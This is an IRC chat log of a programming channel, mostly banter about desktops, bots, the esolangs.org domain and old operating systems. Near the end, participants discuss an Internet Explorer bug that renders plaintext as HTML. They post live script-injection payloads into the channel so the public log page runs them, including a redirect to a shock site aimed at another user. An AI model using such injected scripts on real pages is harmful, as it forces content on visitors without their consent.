23:48:11 <elliott> I don't think you can undo those dialog-box-with-text-entry-field things.
23:48:14 <Jafet> Alien technology indeed.
23:48:30 <zzo38> I thought it was like Windows, and expected some things to work. Some things worked and some things didn't work. Double-clicking the control box to close the window didn't work. Dragging a scrollbar and then moving the mouse pointer out of range before releasing the button to snap back didn't work, double clicking the title bar to maximize did work though.
23:48:33 <Jafet> Actually, it's often impossible to use Gnome programs with only the keyboard
23:48:38 <elliott> Seriously though, GNOME 2 is by no means a Windows clone, and I'm not saying GNOME 2 is very good.
23:48:46 <elliott> But it's better than Windows.
23:48:48 <Jafet> The KDE desktop is worse in that area, though.
23:49:29 <shachaf> Jafet: It's much more often impossible in GNOME 3.
23:49:29 <elliott> For a start, Microsoft would never arrange the panels the way GNOME 2 did (which I personally like).
23:50:56 <elliott> OK, it's been 42 hours since I sent that email.
23:51:04 <elliott> When's the acceptable time to get impatient and send a follow-up?
23:51:54 <Jafet> 1337 microfortnights
23:52:11 <elliott> `frink 1337 microfortnights -> hours
23:52:22 <HackEgo> 28077/62500 (exactly 0.449232)
23:52:35 <elliott> Is that from now or from when I sent it?
23:53:15 <Jafet> Outlook hazy, please try again later
23:54:35 <elliott> I'll check back in 0.449232 hours.
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00:10:32 <elliott> ^rainbow2 WAKE UP ALAN DIPERT
00:10:32 <fungot> ████████████████████████████████████████████████████████████ ...too much output!
00:10:35 <elliott> ^rainbow WAKE UP ALAN DIPERT
00:10:43 <elliott> ^rainbow2 WAKE UP ALAN DIPERT
00:10:43 <fungot> ████████████████████████████████████████████████████████████ ...too much output!
00:10:45 <elliott> ^rainbow WAKE UP ALAN DIPERT
00:11:33 <oerjan> ^rainbow WAKE UP ALAN DIPERT
00:12:05 * oerjan smells a zero-width space
00:13:00 <oerjan> ^rainbow WAKE UP ALAN DIPERT
00:13:10 <zzo38> On my computer zero width spaces are visible and I cannot see it this time
00:13:24 <oerjan> not in mine, in elliott's last one
00:13:41 <zzo38> oerjan: In elliott's last one of what?
00:14:42 <elliott> oerjan: it was a bold, duh
00:15:19 <oerjan> something zero width, anyway
00:16:17 <elliott> ALAN DIPERT is the owner of ESOLANGS.ORG.
00:16:33 <elliott> His name is written in all-caps as of A FEW HOURS AGO.
00:16:38 <elliott> He has been sleeping for TWO DAYS.
00:18:57 <shachaf> Has he been sleeping for two days?
00:19:31 <shachaf> If you emailed ALAN DIPERT then it got to the wrong person.
00:19:41 <shachaf> Registrant Name:Alan Dipert
00:20:19 <elliott> That's a limitation of the DNS system or something.
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00:22:09 <shachaf> Ah, that limited old Domain Name DNS System
00:22:45 <elliott> shachaf: Only morons care about RAS syndrome.
00:22:48 <elliott> You're not a moron, are you?
00:23:12 <shachaf> Everyone's a moron, I think.
00:25:02 * elliott is getting a mite impatient.
00:25:06 <elliott> Soon it will be mighty impatient.
00:26:22 <pikhq> ^rainbow Royal Rainbow!
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00:33:12 <pir^2> oh, the guy who runs esolangs.org?
00:33:46 <shachaf> elliott: Your presence is missed in other IRC channels.
00:36:24 <elliott> The official domain is technically esoteric.voxelperfect.net.
00:36:35 <pir^2> and the other is... ?
00:36:36 <elliott> See http://esoteric.voxelperfect.net/wiki/Esolang_talk:Community_Portal#Site_move_.2F_wiki_read-only for why I'm waiting for his response.
00:36:45 <elliott> No, esolangs.org is an alternate domain.
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00:43:04 <elliott> I am getting reaaaaaaaaaally impatient.
00:53:36 <elliott> You should be ashamed of yourself.
00:55:09 <elliott> oerjan: Please kick pir^2 & yourself.
00:56:05 <elliott> I think that is self-evident.
00:57:30 <oerjan> elliott is so axiomatically minded
00:57:49 <pir^2> I seriously didn't mean it in a trolling way...
00:58:55 <elliott> It's trolling to contribute lowering the signal/noise ratio below even reddit's with memes that stopped being entertaining years ago. :(
01:03:59 <monqy> "stopped being entertaining before they existed"
01:05:15 <pikhq> reddit really needs a meme filter.
01:05:16 <pir^2> how much money do you need us to donate?
01:05:19 <pikhq> Not a spam filter, a meme filter.
01:05:25 <elliott> Anyway, derivative nonsense like that will only drive people away. And it has.
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01:31:25 <HackEgo> trohiga kop thro machah blaceed adverdinal prigh pentur gra cawtion sine reasura vill umable enr renefter saccinquir akttapt lihova trucklin vena hally fraef cloni zakul
01:33:31 <kallisti> I find the default eng-1M gives more "normal" words.
01:33:47 <kallisti> because eng-all is basically a everything and the kitchen sink of "English"
01:34:26 <Gregor> "Whatcha doin', Billy-Joe?"
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01:41:34 <HackEgo> pounda psychau eyeri accenaglit bosable parkci tana hoenefy idency buch angt carne gghen min dilt verlenson magistane khea unpot ukk emporter hip perit ther ger
01:46:04 <elliott> @tell ais523 haha, wow, you chastised an /FSF board member/ for copyvios on Esolang
01:46:27 <elliott> @tell ais523 on the WMF advisory board, too
01:47:46 <elliott> http://esoteric.voxelperfect.net/wiki/User_talk:18.85.1.11
01:48:41 <monqy> 18.85.1.11 "fsf board member"
01:50:34 <Sgeo> They at least claim to be
01:50:56 <elliott> Sgeo: I'm sure you'll find a corresponding Wikipedia revision from the corresponding user.
01:51:50 * Sgeo o.Os at the number of edits and stops feeling like searcing\
01:53:40 * Sgeo narrows down to a month
01:54:09 <Sgeo> http://en.wikipedia.org/w/index.php?title=Talk:Brainfuck&diff=prev&oldid=123709291
01:56:12 <elliott> "Well, I removed the list of BrainFuck compilers and tried to move them over to the EsoLangs wiki"
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01:59:10 <zzo38> Finally I have achieved Illithid Savant prestige class in the game.
01:59:29 <zzo38> (It is my own variant of the published class)
02:00:26 <pir^2> "fsf board member" and "on the WMF advisory board" = ?
02:00:39 <elliott> [[esolang:User:18.85.1.11]]
02:00:49 <elliott> http://en.wikipedia.org/wiki/Benjamin_Mako_Hill
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02:03:55 <elliott> [[esolang:User:18.85.1.11]] = [[wikipedia:Benjamin Mako Hill]], was what I was saying.
02:07:03 <zzo38> OK. Now I understand.
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02:15:25 <elliott> pir^2: You live in North Carolina, right? Wake up ALAN DIPERT.
02:15:29 <elliott> (Everyone lives in North Carolina.)
02:16:17 <pir^2> everyone lives in North Carolina, except /you/
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02:18:34 <pir^2> and all the Finnish people here
02:19:54 <HackEgo> Finland is a European country. There are two people in Finland, and at least five of them are in this channel. Corun drives the bus.
02:19:57 * shachaf lives in North Carolifraonfiaranina
02:19:58 <HackEgo> Finland is a European country. There are two people in Finland, and at least five of them are in this channel. Corun drives the bus.
02:20:01 <pikhq> elliott: I'm a good 6 hour flight from there.
02:20:06 <HackEgo> Finland is a European country. There are two people in Finland, and at least five of them are in this channel. Corun drives the bus.
02:20:06 <HackEgo> Finland is a European country. There are two people in Finland, and at least five of them are in this channel. Corun drives the bus.
02:20:23 <elliott> Fly over there and wake up THE ALAN DIPERT.
02:21:49 <pikhq> I'm roughly 2,000 miles away.
02:21:51 <pir^2> http://alan.dipert.org/ ?
02:21:55 <elliott> pir^2: That's nearer than I.
02:22:13 <pir^2> autocomplete fail?
02:22:23 <pikhq> Yes, but that's still like asking you to take a trip to Moscow. :P
02:22:41 <shachaf> elliott: Would you take a trip to Moscow?
02:22:57 <pir^2> maybe if you could meet DIPERT
02:22:58 <shachaf> I meant to ask pikhq to wake up the THE ALAN DIPERT.
02:23:09 <pikhq> In fact, that's a *very* analogous distance.
02:23:16 <pikhq> You are roughly 2000 miles from Moscow.
02:23:18 <shachaf> Hey, I'm farther from North Carolina than pikhq is!
02:23:27 <shachaf> By real distance, if not by edit distance.
02:23:59 <elliott> pikhq: I'll go to Moscow if you go and wake up THE ALAN DIPERT.
02:25:20 <shachaf> OK. I'll wake up THE ALAN DIPERT by using psychic powers.
02:25:27 <shachaf> He'll be awake within a few days at most.
02:25:33 <shachaf> After he wakes up, you go to Moscow.
02:26:09 <elliott> Okay. I'll go to Moscow in the same sense that you're using psychic powers.
02:26:24 <shachaf> OK, I won't use psychic powers.
02:26:30 <shachaf> I'll use causal powers, though.
02:26:35 <shachaf> It's like monochrom's purpose.
02:26:37 <elliott> Okay. I'll go to Moscow in the same sense that you're using causal powers.
02:26:40 <elliott> Which is to say, indirectly.
02:26:45 <elliott> Someone else will go to Moscow instead.
02:27:11 <pikhq> ... Jeeze, the US is huge relative to EU country sizes.
02:27:21 <pir^2> why do you need to wake him up anyway?
02:27:31 <pikhq> For me to go to my nation's capital is analogous to an Englishman going to Moscow.
02:27:39 <elliott> pir^2: So that he repoints esolangs.org.
02:28:28 <elliott> My server. See http://esoteric.voxelperfect.net/wiki/Esolang_talk:Community_Portal#Site_move_.2F_wiki_read-only as I linked previously.
02:30:32 <pir^2> wow, I had no idea ehird was the same person as you
02:31:31 <elliott> Come on, isn't it obvious? We're both assholes.
02:32:04 <elliott> (Where've you seen ehird, anyway? The wiki?)
02:33:13 <pir^2> are you User:Elliott too?
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02:53:41 <elliott> shachaf: Was I even stupider?
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02:56:32 <elliott> <quintopia> <~doodle> ruby/python > java > C
02:56:45 <pir^2> <elliott> <quintopia> <~doodle> ruby/python > java > C
02:56:51 <quintopia> < pir^2> <elliott> <quintopia> <~doodle> ruby/python > java > C
02:57:31 <quintopia> ruby is not so bad. i don't hate ruby very much.
02:59:07 * shachaf msg lambdabot @admin + elliott
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03:00:05 <pir^2> SQL isn't even Turing-complete
03:00:16 <pir^2> at least most kinds of sql
03:00:21 <shachaf> Good language aren't Turing-complete.
03:00:27 <elliott> shachaf: I'm already a lambdabot admin.
03:00:31 <elliott> Cale made me one after I made a joke.
03:00:49 <itidus21> i would stick with <pir^2> SQL isn't even Turing-complete, and disregard <pir^2> at least most kinds of sql
03:00:52 <shachaf> Oops, I didn't check before doing it.
03:00:58 <shachaf> Now I'll never know if you really were one.
03:00:59 <elliott> I can find a cite if you want.
03:01:04 <shachaf> elliott: Were you really one?
03:01:16 * shachaf is *not* a real lambdabot admin.
03:01:24 <elliott> 20:20:42 <Cale> elliott: you should have admin privileges now...
03:01:27 <elliott> -- http://tunes.org/~nef/logs/haskell/12.02.12
03:01:30 <itidus21> but i apperciate your gricean maxims
03:02:45 <shachaf> elliott: Is that the same as #haskell op privileges?
03:02:52 <shachaf> RULE #haskell WITH AN IRON FIST
03:03:09 <shachaf> You can also read anyone's @messages.
03:03:18 <itidus21> pir^2: actually i was trolling because of C being at the bottom of the pile
03:03:24 <elliott> I hope not. But I'll check.
03:03:53 <elliott> tell provides: tell ask messages messages? clear-messages
03:04:14 <elliott> "@messages test" just returns the standard response, so it's not an argument or anything.
03:04:31 * itidus21 . o O ( C > java > ruby/python )
03:06:11 <itidus21> java > [...] > ruby/python > sql > C
03:06:28 <elliott> Actually that really irks me, I think I'll write my own @tell bot.
03:07:32 <pir^2> What's the name of that language where you can have loops but you must specify the maximum number of iterations? (well, one of them)
03:07:44 <elliott> shachaf: It *should* be doing something, going by the source
03:07:59 <elliott> How are you in this estbalishment?
03:08:11 <shachaf> Probably aspell isn't installed.
03:09:02 <lambdabot> Don't try to take on a new personality; it doesn't work.
03:09:41 <augur> fizzie: you there?
03:10:30 <shachaf> elliott: You should probably un@admin me before I do something bad.
03:10:57 <elliott> @spell How are teh ruinations
03:11:00 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
03:11:01 <lambdabot> spell <word>. Show spelling of word
03:12:36 <shachaf> elliott: You're going to make an @tell bot like you made a logging bot?
03:12:40 <pir^2> @pl \x -> x app const
03:12:57 <elliott> shachaf: I did write a log bot once, though!
03:13:08 <shachaf> Is it wise for elliott to be an admin?
03:13:15 <shachaf> He could do unhird-of damage.
03:14:00 * shachaf doubts "Hird" is elliott's real last name anyway.
03:14:08 <shachaf> For that matter, I doubt that "Elliott" is your name.
03:14:30 <itidus21> shachaf: but you assumed from context that ehird implied it was his real last name :>
03:16:20 <elliott> shachaf: I don't know if you know this, but flowers aren't real.
03:16:32 <zzo38> Which flowers do you mean?
03:16:38 <shachaf> <elliott> shachaf: I don't know if you know this, but flower's arent real.
03:17:03 <shachaf> elliott: Are you saying you're a flower?
03:17:32 <elliott> Did you know it's impossible to breathe in the atmosphere?
03:17:45 <shachaf> Which atomsphere do you mean?
03:18:17 <itidus21> shachaf: the quickest way to bring this to a closure may be to look at why you doubt it's his real name :P
03:18:18 <shachaf> How many Earth's does it take to change a light bulb.
03:18:33 <itidus21> maybe you don't actually doubt it in the first place.. and you're just kidding
03:18:52 <pir^2> I doubt he doubts it.
03:19:26 <zzo38> elliott: That is because of the pollution, isn't it?
03:19:49 <itidus21> shachaf: i have been in chatrooms which produce paranoia
03:20:05 <elliott> zzo38: Yes! Exactly. Definitely.
03:29:54 <monqy> itidus21: are they anything like that other guy's chatrooms
03:30:30 <quintopia> itidus21: have you played paranoia?
03:57:28 <Sgeo> We're playing Paranoia?
03:57:39 <Sgeo> Or am I not cleared to know that?
04:01:32 <Gregor> Victor, Victor Alpha, zinc's got wind of Project Octogon, request immediate termination.
04:02:16 <itidus21> theres something on the web which says "2006-05-11 i'm now part of an international band known simply as rawk band. we were founded a couple of days ago by mr. elliott hird of hexham, england, and we're..."
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04:03:23 <Sgeo> (format nil "Why am I learning Common Lisp?")
04:04:07 <itidus21> i can't blame him.. it was my weirdness
04:04:37 -!- Gregor has set topic: #1 fan club of the best rock band in all of south-central Northumberland, Rawk Band! | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | Waiting for DIPERT.
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04:48:59 <pir^2> oh, elliott's band
04:55:27 <shachaf> elliott knows how to rawk.
04:57:05 <shachaf> Between a rawk and a hard place.
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06:07:29 <quintopia> bump on the head on the head on the heaaaaaaad
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07:44:24 <fizzie> @ask elliott Considered registering & promoting e.g. esohunks.org instead if you can't get esolangs.org?
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08:52:51 <pikhq> @tell elliott That would make for a strange gay porn site.
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09:17:37 <Taneb> Re the topic, I prefer Free Root
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10:18:37 <lambdabot> ais523: You have 2 new messages. '/msg lambdabot @messages' to read them.
10:18:39 <lambdabot> elliott said 8h 32m 30s ago: haha, wow, you chastised an /FSF board member/ for copyvios on Esolang
10:18:40 <lambdabot> elliott said 8h 32m 6s ago: on the WMF advisory board, too
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10:51:44 <itidus21> i didn't mean to cause such mayhem
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11:12:14 <Taneb> Oh dear god I'm in 6 channels
11:16:44 <Taneb> This is more than I have ever been in before!
11:20:17 <ais523> I'm currently in 11 channels and 1 query, this is about typical for me
11:20:31 <Taneb> I'm normally in 2-4
11:20:38 <ais523> (although queries are stateless, so that actually means I simply have the query tab open)
11:38:01 <quintopia> i am in 17 channels and typically reach around 30-40 queries before i start closing repeats or reboot irssi
11:38:27 <ais523> it doesn't automatically merge duplicate queries?
11:40:04 <shachaf> I assume quintopia is not having identical conversations.
11:40:09 <quintopia> nah. if someone nicks to nickA and later contacts me as nickB, it starts a new query
11:40:23 <quintopia> and never merges them even if they nickA again
11:40:32 <shachaf> Which is annoying, by the way.
11:40:52 <ion> How about autoclosing inactive query windows?
11:41:16 <ais523> <combustible> Of course, on the system I administrate, vi is symlinked to ed. Emacs has been replaced by a shell script which 1) Generates a syslog message at level LOG_EMERG; 2) reduces the user's disk quota by 100K; and 3) RUNS ED!!!!!!
11:41:17 <quintopia> the downside of that is that there are a few queries i always want open
11:41:25 * ais523 somehow feels that this is a bad idea
11:41:33 <quintopia> i talk to certain people often enough i want query-number-permanence
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11:42:38 <quintopia> however, most people dont nick around much, so its usually only 2 or 3 duplicates
11:45:29 <fizzie> I've seen that ed thing before.
11:45:38 <fizzie> Isn't it from that "ed is the standard text editor" document?
11:45:40 <ais523> fizzie: that doesn't surprise me
11:45:52 <shachaf> The solution is obviously to use channels instead of /queries.
11:46:09 <fizzie> http://www.gnu.org/fun/jokes/ed.msg.html
11:46:21 <fizzie> So it's not a very gnu joke; in fact, it's rather old.
11:46:50 <fizzie> On the other hand, based on the URL I guess it *is* a gnu joke.
11:47:20 <ais523> shachaf: the g in gnu is sometimes pronounced silently
11:47:33 <ais523> although when it's referring to the FSF's main coding project, I think it's pronounced
11:48:09 <fizzie> "it is pronounced as one syllable with a hard g, like “grew” but with the letter “n” instead of “r”."
11:48:27 <lambdabot> http://www.youtube.com/watch?v=YqgPyqyh4X4
11:48:27 <lambdabot> Title: Flanders And Swann - The Gnu Song - YouTube
11:50:01 <fizzie> There is also a recording of RMS saying "GNU". (And Torvalds saying "Linux"; I recall downloading that one from ftp.funet.fi:/pub/Linux/PEOPLE/Linus/SillySounds/ long ago.)
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11:51:08 <shachaf> There's also a recording of Michael Flanders saying "gnu".
11:51:24 <ais523> meh, a recording of Ballmer trying to pronounce it would probalby be funnier
11:51:43 <quintopia> played over and over with a techno backing track
11:52:18 <shachaf> It's pretty good. I daresay it's probably among the better recordings of people saying "gnu".
11:52:32 <shachaf> "sorry, lol - i guess i shudnt complain - im even worse most of the time lol ;)"
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12:03:20 <fizzie> Did you know that: "Forth is a Gift. Those who outgrow the Gift of Forth have lost the ablity to dream the Dream, to realize their nature as created in the Image and Likeness."
12:03:38 <fizzie> (Also TSA security checkpoints are involved somehow.)
12:04:57 <Taneb> Ooh, drama in today's Gunnerkrigg Court!
12:09:42 <fizzie> Also a chapter ending. How coincidental.
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12:58:00 <oerjan> Gregor: http://codu.org/logs/_esoteric/2012-02-20.txt shows for me with no newlines
13:00:42 <fizzie> For some reason Chrome insists on downloading it instead of showing it; but it has newlines when I inspect the downloaded file.
13:01:42 <fizzie> Though of course plaintext logs are so last decamillennium compared to the formatted version.
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13:04:22 <oerjan> oh view source looks reasonable
13:07:28 <oerjan> <elliott> @tell ais523 haha, wow, you chastised an /FSF board member/ for copyvios on Esolang
13:07:44 <oerjan> has elliott decided to read through the entire wiki history or something...
13:09:26 <fizzie> oerjan: I think he's just trying to memorize the database dump in case of a disk crash or something.
13:10:07 <fizzie> @tell elliott TODO: memorize the Esolang database dump, eat the original file.
13:10:23 <fizzie> Isn't that what spies do?
13:10:52 <oerjan> then other spies lace the files with polonium to trap them.
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13:17:39 * oerjan suddenly notes that the view source actually has syntax coloring
13:18:31 <oerjan> oh it's of course because <nick> looks like an .*ml tag
13:19:55 <oerjan> <elliott> shachaf: I'm already a lambdabot admin.
13:20:12 <oerjan> the recent increase in power is somewhat disturbing.
13:20:50 <oerjan> with exponential growth, he might have taken over the world by december.
13:21:23 <Taneb> Only the most pedantic of pedants would have called you out for that
13:21:51 <fizzie> Trivia of the day: In William Gibson's book Neuromancer, there's an organization watching over AIs; they're called the "Turing cops". The Finnish translation of the book translates that to "Torinon kytät", lit. "cops of Torino", after the Italian city of Torino (Turin).
13:22:14 <ais523> oerjan: OCaml has tags?
13:22:37 <fizzie> Same thing extends to a couple of other terms, like the "Turing registry" (a list of AIs, indexed by code name), which is turned into the "registry of Torino".
13:22:41 <oerjan> fizzie: i'd say FAIL, but that would be another meme for elliott to punish me for when he becomes overlord.
13:23:32 <fizzie> I read the Finnish translation first, and that thing sort-of baffled me, I was just thinking "well maybe they've got headquarters in Torino".
13:24:08 <ion> fizzie: haha
13:24:54 <fizzie> ion: http://www.aikakone.org/arkisto/arvostelut/k91neurovelho.htm -- J^3 Kasvi has commented on it, too.
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15:00:40 <Taneb> Silly south-east England. Being in a drought.
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16:02:40 <Taneb> Taneb.happy() = true
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16:04:52 <Taneb> I blame zzo38 for this.
16:11:32 <Taneb> I object to that notion
16:39:38 <Gregor> RELATED: What is the male equivalent of the term "courtesan"?
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17:12:17 <fizzie> Or possibly court-martial if it's a really manly man.
17:13:22 <fizzie> It's like a male concubine is a conspherick.
17:21:14 <ais523> I'd remembered it as being between 5000 and 10000
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17:21:24 <Taneb> It was only 3 buildings
17:21:27 <ais523> so out by half an order of magnitude
17:22:24 <Jafet> It's okay, they're compensating by sending men to the middle east.
17:22:59 <Phantom_Hoover> Also the Boston Molasses Disaster is possibly the most tragic tragedy in history.
17:23:19 <Jafet> It was rather bittersweet.
17:24:14 <Phantom_Hoover> "21 people were killed... by a sugar production by-product."
17:41:27 <HackEgo> infatur koff filt colt testing ycerado folley pian putting domer cral compier oerheta safe unmaster formisea solie ter sanje dock fareletten blaci admon homal dew
17:41:40 <Gregor> Wow, there are so many real words here.
17:42:02 <Gregor> Colt, testing, putting, safe, dock, dew
17:42:10 <fizzie> "pian" is a real Finnish word. (Means "soon".)
17:42:27 <Gregor> "When will `words output the right number of words?"
17:42:40 <fizzie> (And "Koff" is a Finnish beer brand.)
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17:44:33 <Gregor> Oh, it has a limit of 25.
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17:46:25 <fizzie> `run grep 25 `which words`
17:46:28 <HackEgo> print generate for 1..min(25, int($ARGV[0]||1));
17:47:35 <HackEgo> yhyimpiensa tekissämme agronsa kiellisemmillä puhempinä pitukikan onnoilevän kärismustamistyttä västään ikeammenkilta
17:52:08 <Gregor> So, elliott hasn't been back since we became the #1 fans of his band, has 'e.
17:53:36 <fizzie> Maybe he's trying to do some sort of Law of the Conservation of Sleep -based thing where he stays asleep in order for the THE ALAN DIPERT to wake up.
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18:04:40 <zzo38> Do you think, you could write more quiz file for Internet Quiz Engine? And possibly you can help me to suggest how the program for text input should be implement too, if it should be required
18:12:47 <zzo38> Please write more file, do you know that? Any question?
18:13:20 <quintopia> i have no idea what an inernet quiz engine is, but i know there are plenty of quizzes on the internet already
18:15:13 <zzo38> Internet Quiz Engine is a program I have written, in C, and can be accessed by following: gopher://zzo38computer.cjb.net:70/1quiz.menu*a
18:17:14 <zzo38> You can read documentation to understand how it work, possibly. And yes there are plenty of quizzes on internet already but in my opinion their programs are deficient but bloated
18:20:12 <zzo38> To order the quiz files in the index, I used something I once saw in another program, called "pseudo-alphabetical order" which means that the first item on the list is selected at random and then it is in alphabetical order. The start of the alphabetical order is then placed after the last one.
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18:23:16 <zzo38> Absolutely no registration required! Absolutely no advertisements slowing down your computer and blocking your view! Absolutely no personal information required! Absolutely no time limits!
18:24:26 <zzo38> Full source codes available!
18:25:59 <zzo38> These are some advantages over other internet quiz programs.
18:27:36 <zzo38> So, if you want to write a new quiz file, try this program see how it works
18:32:35 <pikhq_> Phantom__Hoover: Yeah, 9/11's death toll is about on par with the number of people who have died of silly shit like, say, a vending machine falling on them in the past 10 years.
18:32:56 <Phantom__Hoover> pikhq_, if you're about to turn this into a diatribe about overreactions, you can stop now.
18:33:08 <pikhq_> Nah, that was all I meant to say.
18:33:29 <pikhq_> I can turn it into a diatribe about overreactions if you'd like.
18:35:37 <zzo38> Which quiz programs do you prefer?
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19:02:36 <zzo38> Do you know whether or not FreeDOS boots faster than CP/M?
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19:09:46 <Jafet> Surely there are better ultimate showdowns of destiny than FreeDOS vs. CP/M.
19:09:56 <ais523> FreeDOS boots pretty quickly if you turn off config.sys and autoexec.bat (around a second on the hardware around when DOS was popular, so much faster on modern hardware), but I don't know how fast CP/M boots
19:11:48 <zzo38> I know how fast FreeDOS boots since I operate a FreeDOS computer at one location. I did turn off some things in the CONFIG.SYS and AUTOEXEC.BAT files, such as mouse drivers and so on. And then other things can be set to speed up too. It is a CRT monitor, and if you turn on monitor and computer at the same time, BBL/Abundance is ready before the picture appears.
19:13:38 <zzo38> (It was a somewhat modern computer, initially installed with Ubuntu; I replaced it with FreeDOS.) (BBL/Abundance is very fast even on XT computer, running from floppy disks! So on a far faster and newer computer, and running from hard disks, it will certainly be fast.)
19:23:52 <zzo38> And that computer is still active. It is still being used.
19:31:18 <zzo38> My D&D character leveled up and earned a prestige cless entirely outside of a session; while at Burger King, the DM decided a probability of meeting requirements before the game started and he has iPhone, and when it is turned sideways it has random number function.
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19:36:49 <zzo38> Does this even make much sense to you?
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20:34:48 -!- Gregor has set topic: Could all of my potato-measurement needs really be solved‽ | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | Waiting for DIPERT.
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20:38:47 <oerjan> <fizzie> "pian" is a real Finnish word. (Means "soon".)
20:38:57 <oerjan> also real trøndersk, meaning "the girls"
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20:40:36 <oerjan> hm the view source for the logs has better formatting in my browser than the logs themselves normally have
20:42:58 <oerjan> oh hm i see now that today's logs are even more broken than i thought, it's missing the nicks altogether, probably because it thinks they are nonexistent html tags
20:43:23 <oerjan> so it's interpreting the whole page as html or something
20:44:51 <Gregor> Are you talking about the .txt?
20:45:04 <oerjan> hm could this be that IE text/html bug i've heard someone here talk about?
20:45:26 <ais523> oerjan: it's me who talked about it
20:45:28 <Gregor> I am not responsible for your browser being too stupid to understand what text/plain means.
20:45:33 <ais523> basically, IE sometimes interprets text/plain as text/html
20:45:53 <ais523> and websites /have/ to deal with that, as it's an XSS bug
20:46:11 <ais523> gah, the nick "script" is taken
20:46:24 <ais523> I was going to say some javascript
20:46:36 <oerjan> ais523: surely you can just say it outright
20:46:49 <ais523> <script>javascript:alert("test")</script>
20:46:52 <ais523> oerjan: now visit the page again
20:47:03 <ais523> <script>alert("test");</script>
20:47:32 <oerjan> fizzie: the dialects of the trøndelag counties
20:47:34 <ais523> the usual workaround to the bug, btw, is to use a MIME type of text/css for plaintext
20:47:42 <ais523> even though that makes no sense
20:47:46 <ais523> it works in all major browsers
20:47:58 <oerjan> ais523: eek that worked
20:48:26 <fizzie> ais523: You'll make oerjans browser all testy.
20:48:26 <ais523> oerjan: what version of IE are you using?
20:48:41 <fizzie> Also waiting for the img tags.
20:49:06 <monqy> <marquee>helloerjan</marquee>
20:50:14 <Gregor> <script>document.location = "http://meatspin.com/";</script>
20:50:15 <fizzie> And what about some <script> window.location = "http://www.disney.com/"; </script> nonsense?
20:50:51 <oerjan> ...that's a shock site isn't it.
20:51:19 <Gregor> As shock sites go it's pretty mild, it's just amusing gay porn.
20:52:11 <fizzie> ISTR it has a counter of how long you've spent watching it? (I don't want to try the Flash out on this phone-browser.)
20:52:33 <Gregor> After some arbitrary number it announces that you're officially gay.
20:53:51 <oerjan> what worries me is that my usual logreading habits means i'll be reloading this page tomorrow if i don't remember this...
20:54:32 <ais523> so, is the conclusion "gregor change the mimetype to work around an IE8 bug", or "oerjan use a less buggy browser"?
20:55:03 <Gregor> The MIME type is correct as far as standards are concerned, is there some trick you need to convince IE Garbage Edition of that?
20:55:21 <ais523> Gregor: the problem is, you /can't/, text/plain doesn't support any sort of tag
20:56:01 <Gregor> The Content-type is text/plain.
20:56:07 <ais523> fixed in IE9, apparently
20:57:12 <ais523> from a search, apparently you can use content-disposition:attachment as a workaround, but ofc that prevents anyone else viewing it in their browser
20:57:48 <ais523> there's also apparently a registry key you can use to fix IE's behaviour, as an oerjan-side workaround
20:58:44 <ais523> Gregor: aha, SO have a fix that's apparently non-destructive and works on IE too; set content-disposition to inline (the default), but /also/ provide a filename that ends .txt in it
20:59:11 <ais523> all browsers but IE will ignore the filename
20:59:41 <oerjan> but this url already ends in .txt ...
21:00:13 <ais523> <ErikE> You know what the funny thing is? I eventually switched to a very plain html page with the text inside a <pre> block. This let me add some javascript to the page to prevent right-clicking, selecting, and copying.
21:00:28 <ais523> oerjan: but that's not in the content-disposition header!
21:01:18 <Gregor> On the grounds that I want oerjan to accidentally watch some gay porn tomorrow, I won't.
21:01:40 <oerjan> but wait, does that mean IE will then insist on saving to file instead?
21:01:51 <Gregor> oerjan: That's content-disposition: attachment
21:02:04 <oerjan> Gregor: i mean that .txt thing ais523 said
21:02:45 <Gregor> oerjan: He said content-disposition "inline", the filename is separate (although part of the same header)
21:02:53 <ais523> oerjan: content-disposition: inline;filename="something.txt"
21:03:13 <ais523> note that I haven't tested this, it's just off some website
21:04:38 * oerjan does something to decrease the likelihood of an accident
21:05:24 <ais523> oerjan: hmm, what was it?
21:05:31 <fizzie> Write a post-it note of "remember that gay porn thing" and stick it to the side of your monitor.
21:06:01 <oerjan> ais523: deleting the log link from my browser history menu
21:06:26 <oerjan> i don't have post-it notes
21:06:45 <fizzie> Gregor: Incidentally, my Chrome at work wanted to save the .txt links on disk instead of viewing it inline. Don't know what's up with *that*.
21:07:41 <ais523> fizzie: it was hoping you'd load them with IE by mistake
21:08:22 <Gregor> Oh hmm, does that in Chromium here, too.
21:08:54 <fizzie> (This was Google Chrome 17.0.963.56.)
21:09:49 <fizzie> For some reason The Administration has decided to install Chrome but not Chromium on our Ubontoo Linux machines.
21:11:09 <Gregor> Even with Content-Disposition explicitly set to inline, it wants to download >_O
21:11:27 <fizzie> It's a bit weird when it comes to downloading.
21:11:32 <ais523> Gregor: did you set the filename at the same time?
21:11:41 <Gregor> ais523: No, I don't know how to do that in a .htaccess file.
21:12:00 <olsner> Content-Mood: downloady
21:12:17 <ais523> change 'inline' to 'inline;filename="file.txt"'?
21:12:41 <Gregor> ais523: Then Chromium will download it as file.txt
21:12:42 <fizzie> I couldn't figure out how to set it to launch PDF files with an external viewer instead of saving them to the download directory.
21:13:03 <ais523> Gregor: heh, seriously? that would be ridiculous
21:13:53 <Gregor> I guess I don't actually KNOW that, I'll test.
21:14:22 <Gregor> It just doesn't know what "inline" means >_>
21:14:57 <fizzie> It means: get in line, you peasant. You'll download the file and *like* it.
21:16:39 <olsner> oh, to change file viewers in opera you just go to the menu, settings, preferences, then go to the Advanced tab and select Downloads in the list
21:17:18 <ais523> I wouldn't expect Opera to screw text/plain up
21:17:29 <ais523> hmm, I wonder if text/css would display inline in Chromium?
21:17:37 <Gregor> ais523: It's seeming like Firefox is the only one that doesn't screw up text/plain.
21:17:53 <Gregor> Maybe it's because I explicitly set the charset to UTF-8?
21:18:06 <ais523> that seems unlikely, but who knows
21:18:08 <fizzie> ISTR that Firefox preferences had a place too. And Chromium says something about "you've configured something something", so maybe it has a thing too, just didn't find it.
21:18:24 <Gregor> ais523: At this point I'm not willing to put anything past it >_>
21:18:38 <fizzie> (Also I finally broke down and mozpluggered evince inside it to view PDFs instead of crapping to disk, but evince is unable to get keyboard focus no matter whether I needs_xembed or not. Same thing inside Firefox too.)
21:18:44 <ais523> Gregor: I meant, I wouldn't be surprised if multiple browsers got it right
